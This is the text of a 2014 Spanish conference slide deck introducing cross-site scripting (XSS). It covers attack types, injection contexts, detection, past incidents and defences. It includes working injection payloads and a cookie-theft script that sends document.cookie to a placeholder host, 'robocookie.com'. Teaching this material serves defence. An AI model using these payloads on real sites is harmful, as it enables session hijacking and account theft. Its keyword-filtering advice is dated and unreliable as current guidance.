PDF de programación - Iniciándose en XSS

Imágen de pdf Iniciándose en XSS

Iniciándose en XSSgráfica de visualizaciones

Publicado el 3 de Mayo del 2021
483 visualizaciones desde el 3 de Mayo del 2021
1,8 MB
34 paginas
Creado hace 10a (25/03/2014)
Leganés
6-7 Febrero 2014

Roberto Garcia Amoriz

Iniciándose en XSS

Except where otherwise noted, this work is licensed under: http://creativecommons.org/licenses/by-nc-sa/3.0/

c_b_n_a

Leganés
6-7 Febrero 2014

Iniciándose en XSS

QUIEN SOY

Roberto García Amoriz:
trabajaba como Administrador de Sistemas
Informáticos y Redes de Comunicaciones desde hace más de 10 años,
proporcionando soporte a empresas líderes del sector.

Apasionado de la Seguridad Informática, publico regularmente artículos
sobre diversos temas relacionados con la tecnología desde mi blog
www.1gbdeinformacion.com
Colaborador en Estación Informática y en Security By Default.

Ponente en los talleres de seguridad a internautas base en las jornadas por
una red mas segura.
Ponente en las 2ª HighsecCON.

2

Leganés
6-7 Febrero 2014

Iniciándose en XSS

Índice

1. Introducción
2. Definición de ataques XSS
3. Tipos de ataques XSS
4. Partes de un ataque XSS
5. Detectar aplicación web vulnerable
6. Ejemplos de ataques XSS
7. Soluciones a los ataques XSS

3

Leganés
6-7 Febrero 2014

Iniciándose en XSS

¿Qué es XSS?

Es un ataque de inyección de código malicioso para su posterior ejecución, que
puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador.
Sucede cuando un usuario mal intencionado envía código malicioso a la aplicación
web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web
o un correo electrónico.

4

Leganés
6-7 Febrero 2014

Iniciándose en XSS

1. Introducción

Cross Site Scripting (XSS)



Los ataques XSS se pueden perpetrar en cualquier web que permita ejecutar código
de “scripting” como Java Script, Visual Basic Scrip (VBS), Action Script (flash) etc.

• Para llevarlo a cabo es necesario encontrar un punto de entrada, normalmente los

formularios.

• Estos datos no se validan correctamente en algunas aplicaciones, permitiendo la

ejecución de código arbitrario.

• En un ataque XSS es posible acceder a partes restringidas, recuperar información del

usuario, secuestrar cuentas e incluso modificar el contenido del sitio.

5

Leganés
6-7 Febrero 2014

Iniciándose en XSS

2. Definición de ataques XSS

¿En qué consiste?

• Son vulnerabilidades en sitios web que se aprovechan de la falta de sistemas de
filtrado y de validación en los campos de entrada. Estos permiten el envío de scripts
(Java Script, Visual Basic Script etc).

• Esto es debido a que el código HTML se interpreta en la parte cliente (el navegador) y
no en la parte del servidor, de manera que si se inyecta una parte de código HTML en
una pagina web, no se dañaría el servidor, ya que él no interpreta el código, solo la
parte del navegador.

• Este ataque se denomina  ataque del lado cliente.

6

Leganés
6-7 Febrero 2014

Iniciándose en XSS

2. Definición de ataques XSS

Una página es vulnerable a XSS cuando lo que nosotros enviamos al
servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se
ve posteriormente en la página de respuesta.

7

Leganés
6-7 Febrero 2014

Iniciándose en XSS

2. Definición de ataques XSS

Riesgos

• Acceso a zonas restringidas.

• Robo de credenciales.

• Modificación del contenido del sitio.

• Phishing.

• Navegación dirigida.

8

Leganés
6-7 Febrero 2014

Iniciándose en XSS

2. Definición de ataques XSS

Recursos utilizados

• Correo web.

• Mensajes en foros.



Libros de visita.

• Cuadros de búsqueda.

• Formularios de contactos

9

Leganés
6-7 Febrero 2014

Iniciándose en XSS

3. Tipos de ataques XSS

• Persistente

 Se produce cuando un atacante consigue inyectar código malicioso en una web que es

vulnerable.

 El código inyectado queda “almacenado” en la base de datos de una web

(formularios) y cuando los usuarios visitan esa web el código se ejecuta.

 Se suele producir en las aplicaciones que permiten a un usuario almacenar algún tipo

de dato.

 Permite tomar el control de navegador de la victima, recoger información, realizar un

defacement, ejecutar exploits basados en navegador, etc.

 Son los ataques XSS más peligrosos.

10

Leganés
6-7 Febrero 2014

Iniciándose en XSS

3. Tipos de ataques XSS

• No persistente

 Es un tipo de inyección de código que no se ejecuta con la aplicación web, si no que se

origina cuando la víctima carga una URL en el navegador.

 La URL es modificada en la web para que se obtenga un resultado distinto al esperado.

11

Leganés
6-7 Febrero 2014

Iniciándose en XSS

12

Leganés
6-7 Febrero 2014

Iniciándose en XSS

4. Partes de un ataque XSS

(Visto como el atacante)



Inyección del código: Identificar que código se puede introducir.

• POC: ¿Qué puedes hacer con el XSS? Robo de ¿credenciales?, ¿deface?, etc.



Llevar a cabo el daño. Suplantación de identidad, envío de Spam, etc.

13

Leganés
6-7 Febrero 2014

Iniciándose en XSS

Vale, ¿pero como atacan?

• El código se copia entre dos etiquetas HTML: Solo debemos introducir el código Javascript que queremos ejecutar.

<script>alert(“Ataque XSS");</script>

• El código se copia dentro de una etiqueta value de una etiqueta <input>.

<input type=“text" name=“q2” value="[busqueda]" />

Este código queda situado entre comillas dobles de un atributo que pertenece a una etiqueta HTML y no permite que
se ejecute, así que es necesario cerrar la etiqueta HTML e insertar después el código Javascript.

"/><script>alert(“Ataque XSS");</script><div class=“

Quedando de esta manera:

<input type="text" name="q2" value=""/>
<script>alert(“Ataque XSS");</script><div class="" />

Al final del código se introduce una etiqueta <div> para evitar la malformación del código HTML.

• El código se copia dentro de un comentario HTML: Se encuentra en páginas mal programadas que dejan mensajes de

depuración en el código HTML.

<!-- La búsqueda fue "[cadena de texto buscado]" -->

Hay que cerrar los caracteres de comentario HTML, poner el código Javascript y volver a abrir los comentarios , así
nuestro código debería encajar perfectamente con el código de la pagina.

<!-- La busqueda fue "--><script>alert(“Ataque XSS");</script><!--" -->

14

Leganés
6-7 Febrero 2014

Iniciándose en XSS

5. Detectar aplicación web vulnerable

• Detectar la vulnerabilidad a través de formulario

Ej: <script>alert(“akil3s”);</script>

15

Leganés
6-7 Febrero 2014

Iniciándose en XSS

5. Detectar aplicación web vulnerable

• Detectar la vulnerabilidad a través de URL

Ej: http://tuweb.com/index.html?nombre=<script>alert(“La alerta”);</script>

Alberto Segura. http://elladodelnovato.blogspot.com.es/

16

Leganés
6-7 Febrero 2014

Iniciándose en XSS

6. Ejemplos de ataques XSS

Robo de cookies y sesión

Mediante la propiedad document.cookie podemos sacar la cookie que está usando el
usuario:

<script language="javascript">
alert(“TeRobolaCookie: " + document.cookie);
</script>

Si conseguimos sacar ese dato fuera y el control de sesión es demasiado simple, se
puede realizar un “session hijacking “o secuestro de sesión.

<script>
document.location.href = "http://robocookie.com/recibir.php?ck="+
document.cookie;
</script>

17

Leganés
6-7 Febrero 2014

Iniciándose en XSS

6. Ejemplos de ataques XSS

Los atacantes consiguieron modificar (deface) la imagen del video de bienvenida del
presidente del gobierno por otra imagen, en este caso Mr Bean.

18

Leganés
6-7 Febrero 2014

Iniciándose en XSS

Juan Carlos García: http://hackingmadrid.blogspot.com.es/2012/05/hacking-madrideasy-xss-and-cross-site.html

19

Leganés
6-7 Febrero 2014

Iniciándose en XSS

6. Ejemplos de ataques XSS

El atacante mediante el uso de Java Script conseguía la cookie de usuario, logrando
redireccionar su contenido a un servidor web controlado, lo que permitía al atacante
acceder a los mensajes privados, agregar nuevas aplicaciones sin ser autorizado, ver la
lista de contactos, las imágenes privadas de la víctima, etc.

20

Leganés
6-7 Febrero 2014

Iniciándose en XSS

6. Ejemplos de ataques XSS

Los atacantes consiguieron atacar Youtube inyectando código desde el área de comentarios.

Consiguieron forzar mensajes pop-up para que apareciesen en la pagina y redireccionaron a
los visitantes a paginas que contenían malware.

21

Leganés
6-7 Febrero 2014

Iniciándose en XSS

6. Ejemplos de ataques XSS

El fallo se encuentra en la ventana que se nos abre para agregar a un usuario a
una lista de Twitter, concretamente es el nombre de la lista lo que no se filtra y
hace que si este contiene código se ejecute.

Alberto Segura: http://elladodelnovato.blogspot.com.es/2013/01/vulnerabilidad-xss-en-twitter.html

22

Leganés
6-7 Febrero 2014

Iniciándose en XSS

Time for video

23

Leganés
6-7 Febrero 2014

Iniciándose en XSS

7. Soluciones a los ataques XSS

• Al diseñar las aplicaciones

 Se debe verificar siempre que el tipo de datos y la longitud de los campos se
correspondan con lo esperado. Hay que filtrar los caracteres que puedan resultar
dañinos.

 Las aplicaciones web deben programarse filtrando determinados comandos

como: script, form, applet, object , embed, marquee, img src...

 Cuando se detecten posibles ataques enviar mensajes de alerta intimidatorios.

24

Leganés
6-7 Febrero 2014

Iniciándose en XSS

7. Soluciones a los ataques XSS

• Usar las ultimas versiones de los navegadores

Desde la versión de Internet Explorer 8 si intentas acceder a una página web que ha
sufrido un ataque XSS, aparece un mensaje avisando de que la web ha sido
modificada.
Esto es debido a que el filtro Anti XSS de IE detecta la manipulación de la pagina
a través de la inyección de código en un parámetro.

* Por esto, es muy recomendable tener siempre actualizado todo el software de tu
equipo.

25

Leganés
6-7 Febrero 2014

Iniciándose en XSS

7. Soluciones a los ataques XSS

Los usuarios también pueden protegerse contra los ataques XSS configurando los
navegadores para impedir que se ejecuten lenguajes de scripting. Esto no dará una
solución óptima para el usuario porque hay paginas que no funcionan correctamente si
se prohíbe la e
  • Links de descarga
http://lwp-l.com/pdf19151

Comentarios de: Iniciándose en XSS (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios...
CerrarCerrar
CerrarCerrar
Cerrar

Tienes que ser un usuario registrado para poder insertar imágenes, archivos y/o videos.

Puedes registrarte o validarte desde aquí.

Codigo
Negrita
Subrayado
Tachado
Cursiva
Insertar enlace
Imagen externa
Emoticon
Tabular
Centrar
Titulo
Linea
Disminuir
Aumentar
Vista preliminar
sonreir
dientes
lengua
guiño
enfadado
confundido
llorar
avergonzado
sorprendido
triste
sol
estrella
jarra
camara
taza de cafe
email
beso
bombilla
amor
mal
bien
Es necesario revisar y aceptar las políticas de privacidad